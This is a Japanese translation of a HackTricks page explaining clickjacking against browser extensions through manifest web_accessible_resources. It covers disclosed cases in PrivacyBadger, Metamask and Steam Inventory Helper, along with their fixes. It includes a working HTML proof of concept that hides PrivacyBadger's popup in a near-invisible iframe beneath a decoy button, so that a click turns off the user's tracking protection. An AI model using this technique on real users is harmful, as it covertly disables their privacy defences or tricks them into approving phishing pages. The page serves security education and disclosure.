7.4 KiB
BrowExt - ClickJacking
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
基本情報
このページでは、ブラウザ拡張機能のClickJackingの脆弱性を悪用します。
ClickJackingが何かわからない場合は、以下を確認してください:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
拡張機能には**manifest.json
**ファイルが含まれており、そのJSONファイルにはweb_accessible_resources
というフィールドがあります。Chromeのドキュメントには次のように記載されています:
これらのリソースは、**
chrome-extension://[PACKAGE ID]/[PATH]
のURLを介してウェブページで利用可能になります。このURLはextension.getURL method
**で生成できます。ホワイトリストに登録されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。1
**web_accessible_resources
**にあるリソースはウェブアクセス可能であるだけでなく、拡張機能の周辺権限で動作します:状態を変更したり、他のリソースを読み込んだり、特定の方法でブラウザを変更することができます。web_accessible_resources
内のドキュメントが何らかの興味深い動作を行うことができる場合、攻撃者はそれをウェブページに埋め込み、訪問者をだましてそれをトリガーさせることができます。
PrivacyBadgerの例
拡張機能PrivacyBadgerにおいて、skin/
ディレクトリの内容がweb_accessible_resources
であることが発見されました:
"web_accessible_resources": [
"skin/*",
"icons/*"
]
したがって、`skin/popup.html`をロードすることにより、ブラウザのPrivacyBadgerアイコンをクリックしたときにレンダリングされるドキュメントをiframe内で表示することで、ユーザーをだまして「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせることができます。これにより、ユーザーは追加のトラッキングを受けることになり、PrivacyBadgerの機能が損なわれます。**ClickJackingのビデオ例をチェックしてください** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)
修正は簡単でした:**`web_accessible_resources`から`/skin/*`を削除します**。
### PoC
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamaskの例
MetamaskでのClickJackingに関するブログ投稿はこちらで見つけることができます。このケースでは、Metamaskは**https:
** または http:
プロトコル(例えば chrome:
ではない)を使用してアクセスされたことを確認することで脆弱性を修正しました:
もう一つのClickJackingが修正された Metamask拡張機能では、“web_accessible_resources”: [“inpage.js”, “phishing.html”]
のためにフィッシングと疑われるページに対してユーザーがクリックしてホワイトリストに追加することができました。そのページがClickjackingに対して脆弱であったため、攻撃者は正常なものを表示して被害者に気づかれずにホワイトリストに追加するためのクリックをさせ、その後フィッシングページに戻ると、それがホワイトリストに追加されている状態になります。
Steam Inventory Helperの例
以下のページをチェックして、ブラウザ拡張機能のXSSがClickJackingの脆弱性とどのように連鎖したかを確認してください:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
参考文献
AWSのハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを手に入れましょう。
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックしてください。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- あなたのハッキングのコツを、 HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出することで共有してください。